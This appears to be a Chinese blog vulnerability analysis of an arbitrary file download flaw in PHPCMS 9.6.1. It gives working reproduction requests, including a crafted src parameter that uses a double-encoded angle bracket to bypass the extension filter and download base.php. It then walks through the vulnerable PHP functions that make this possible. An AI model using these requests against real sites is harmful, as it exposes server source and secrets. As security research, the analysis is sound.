1. 程式人生 > 其它 >phpcms 9.6.1任意檔案下載漏洞分析

phpcms 9.6.1任意檔案下載漏洞分析

環境:

phpstudy本地搭建phpcms

apache2.4.39+php5.3.29+mysql8.0.12

漏洞影響版本:

PHPCMS 9.6.1

復現

1、訪問index.php?m=wap&c=index&siteid=1得到加密後的cookie值

2、訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp,post請求資料userid_flash,得到返回的json加密cookie值

3、訪問/index.php?m=content&c=down&a=init&a_k=e41e77MD49WyuTZBvaAfcVQqkpx2Cg9YZPvAhkQYUWr-ngvrASco1B-16MgdqeVrfNXR45Gv8r_5784KVVGvVmMKxxJHba-PfKCbUAWCLEpwO43AFbkL8bfn53hP40TWS488ENEPQOeim3zFlSW1XezD0vlcqTWZjoEfFRJG,a_k值為第二部得到的cookie值,成功下載base.php檔案

分析:

1、wap模組index.php程式碼分析

 1     function
__construct() { 2 $this->db = pc_base::load_model('content_model'); 3 $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); 4 param::set_cookie('siteid',$this
->siteid); 5 $this->wap_site = getcache('wap_site','wap'); 6 $this->types = getcache('wap_type','wap'); 7 $this->wap = $this->wap_site[$this->siteid]; 8 define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); 9 if($this->wap['status']!=1) exit(L('wap_close_status')); 10 }

第3、4行將獲取到的siteid進行加密並且通過set_cookie方法設定cookie返回cookie

2、attachment模組attachments.php程式碼分析

 1     public function swfupload_json() {
 2         $arr['aid'] = intval($_GET['aid']);
 3         $arr['src'] = safe_replace(trim($_GET['src']));
 4         $arr['filename'] = urlencode(safe_replace($_GET['filename']));
 5         $json_str = json_encode($arr);
 6         $att_arr_exist = param::get_cookie('att_json');
 7         $att_arr_exist_tmp = explode('||', $att_arr_exist);
 8         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 9             return true;
10         } else {
11             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
12             param::set_cookie('att_json',$json_str);
13             return true;            
14         }
15     }

通過attachment模組中的attachments.php中的函式swfupload_json(),將獲取的aid、src、filename變數賦值然後通過json_encode函式進行json編碼,在第12行通過set_cookie對這裡我們傳入的變數的json編碼進行加密。

4、content模組down.php程式碼分析

 1     public function init() {
 2         $a_k = trim($_GET['a_k']);
 3         if(!isset($a_k)) showmessage(L('illegal_parameters'));
 4         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
 5         if(empty($a_k)) showmessage(L('illegal_parameters'));
 6         unset($i,$m,$f);
 7         $a_k = safe_replace($a_k);
 8         parse_str($a_k);
 9         if(isset($i)) $i = $id = intval($i);
10         if(!isset($m)) showmessage(L('illegal_parameters'));
11         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
12         if(empty($f)) showmessage(L('url_invalid'));
13         $allow_visitor = 1;
14         $id = intval($id);
15         $modelid  = intval($modelid);
16         $catid  = intval($catid);
17         $MODEL = getcache('model','commons');
18         $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
19         $this->db->table_name = $tablename.'_data';
20         $rs = $this->db->get_one(array('id'=>$id));    
21         $siteids = getcache('category_content','commons');
22         $siteid = $siteids[$catid];
23         $CATEGORYS = getcache('category_content_'.$siteid,'commons');
24 
25         $this->category = $CATEGORYS[$catid];
26         $this->category_setting = string2array($this->category['setting']);
27         
28         //檢查文章會員組許可權
29         $groupids_view = '';
30         if ($rs['groupids_view']) $groupids_view = explode(',', $rs['groupids_view']);
31         if($groupids_view && is_array($groupids_view)) {
32             $_groupid = param::get_cookie('_groupid');
33             $_groupid = intval($_groupid);
34             if(!$_groupid) {
35                 $forward = urlencode(get_url());
36                 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
37             }
38             if(!in_array($_groupid,$groupids_view)) showmessage(L('no_priv'));
39         } else {
40             //根據欄目訪問許可權判斷許可權
41             $_priv_data = $this->_category_priv($catid);
42             if($_priv_data=='-1') {
43                 $forward = urlencode(get_url());
44                 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
45             } elseif($_priv_data=='-2') {
46                 showmessage(L('no_priv'));
47             }
48         }
49         //閱讀收費 型別
50         $paytype = $rs['paytype'];
51         $readpoint = $rs['readpoint'];
52         if($readpoint || $this->category_setting['defaultchargepoint']) {
53             if(!$readpoint) {
54                 $readpoint = $this->category_setting['defaultchargepoint'];
55                 $paytype = $this->category_setting['paytype'];
56             }        
57             //檢查是否支付過
58             $allow_visitor = self::_check_payment($catid.'_'.$id,$paytype,$catid);
59             if(!$allow_visitor) {
60                 $http_referer = urlencode(get_url());
61                 $allow_visitor = sys_auth($catid.'_'.$id.'|'.$readpoint.'|'.$paytype).'&http_referer='.$http_referer;
62             } else {
63                 $allow_visitor = 1;
64             }
65         }
66         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
67         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
68             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
69             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
70             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
71         } else {
72             $downurl = $f;            
73         }
74         include template('content','download');
75     }

經過parse_str之後變數s和f的值為:

這裡的%3c成功繞過了第66行中的對%f也就是字尾的匹配

然後在第69行重新對資料進行了一個加密

在74行對download.php進行一個包含

 1 <?php defined('IN_PHPCMS') or exit('No permission resources.'); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 2 <html xmlns="http://www.w3.org/1999/xhtml">
 3 <head>
 4 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 5 <meta http-equiv="X-UA-Compatible" content="IE=7" />
 6 <title><?php echo $catname;?>- 下載頻道_詳情頁</title>
 7 <!--[if IE 5]>
 8 <style type="text/css">
 9 body,html{text-align:center}
10 *{ text-align:left}
11 .header .search .text{height:26px;}
12 </style>
13 <![endif]-->
14 <link href="<?php echo CSS_PATH;?>reset.css" rel="stylesheet" type="text/css" />
15 <link href="<?php echo CSS_PATH;?>default_blue.css" rel="stylesheet" type="text/css" />
16 <link href="<?php echo CSS_PATH;?>download.css" rel="stylesheet" type="text/css" />
17 <script language="javascript" type="text/javascript" src="<?php echo JS_PATH;?>jquery.min.js"></script>
18 </head>
19 <body>
20     <style type="text/css">
21          body, html{ background:#FFF!important;}
22     </style>
23     <?php if($allow_visitor=='1') { ?>
24     <a href="<?php echo $downurl;?>" class="xzs_btn"></a>
25     <?php } else { ?>
26     <CENTER><a href="<?php echo APP_PATH;?>index.php?m=content&c=readpoint&allow_visitor=<?php echo $allow_visitor;?>"><font color="red">閱讀此資訊需要您支付 <B><I><?php echo $readpoint;?> <?php if($paytype) { ?>元<?php } else { ?>點<?php } ?></I></B>,點選這裡支付</font></a></CENTER>
27     <?php } ?>
28 </body>
29 </html>

其中第24行就對downurl進行了一個輸出,涉及到了download函式

5、down.php中download函式程式碼分析

 1     public function download() {
 2         $a_k = trim($_GET['a_k']);
 3         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
 4         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
 5         if(empty($a_k)) showmessage(L('illegal_parameters'));
 6         unset($i,$m,$f,$t,$ip);
 7         $a_k = safe_replace($a_k);
 8         parse_str($a_k);        
 9         if(isset($i)) $downid = intval($i);
10         if(!isset($m)) showmessage(L('illegal_parameters'));
11         if(!isset($modelid)) showmessage(L('illegal_parameters'));
12         if(empty($f)) showmessage(L('url_invalid'));
13         if(!$i || $m<0) showmessage(L('illegal_parameters'));
14         if(!isset($t)) showmessage(L('illegal_parameters'));
15         if(!isset($ip)) showmessage(L('illegal_parameters'));
16         $starttime = intval($t);
17         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
18         $fileurl = trim($f);
19         if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
20         $endtime = SYS_TIME - $starttime;
21         if($endtime > 3600) showmessage(L('url_invalid'));
22         if($m) $fileurl = trim($s).trim($fileurl);
23         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
24         //遠端檔案
25         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
26             header("Location: $fileurl");
27         } else {
28             if($d == 0) {
29                 header("Location: ".$fileurl);
30             } else {
31                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
32                 $filename = basename($fileurl);
33                 //處理中文檔案
34                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
35                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
36                     $filename = urldecode(basename($filename));
37                 }
38                 $ext = fileext($filename);
39                 $filename = date('Ymd_his').random(3).'.'.$ext;
40                 $fileurl = str_replace(array('<','>'), '',$fileurl);
41                 file_down($fileurl, $filename);
42             }
43         }
44     }

重點在40行,我們利用%3C也就是尖括號繞過了前面的字尾匹配,而在第40行將尖括號替換為空,這樣我們變數fileurl中的字尾就變成了.php

6、跟進file_down函式

 1 function file_down($filepath, $filename = '') {
 2     if(!$filename) $filename = basename($filepath);
 3     if(is_ie()) $filename = rawurlencode($filename);
 4     $filetype = fileext($filename);
 5     $filesize = sprintf("%u", filesize($filepath));
 6     if(ob_get_length() !== false) @ob_end_clean();
 7     header('Pragma: public');
 8     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
 9     header('Cache-Control: no-store, no-cache, must-revalidate');
10     header('Cache-Control: pre-check=0, post-check=0, max-age=0');
11     header('Content-Transfer-Encoding: binary');
12     header('Content-Encoding: none');
13     header('Content-type: '.$filetype);
14     header('Content-Disposition: attachment; filename="'.$filename.'"');
15     header('Content-length: '.$filesize);
16     readfile($filepath);
17     exit;
18 }

這裡也就第5行也就成功的讀取到了base.php的檔案大小,以及第16行中的readfile函式傳入的路徑也就可以讀取base.php檔案了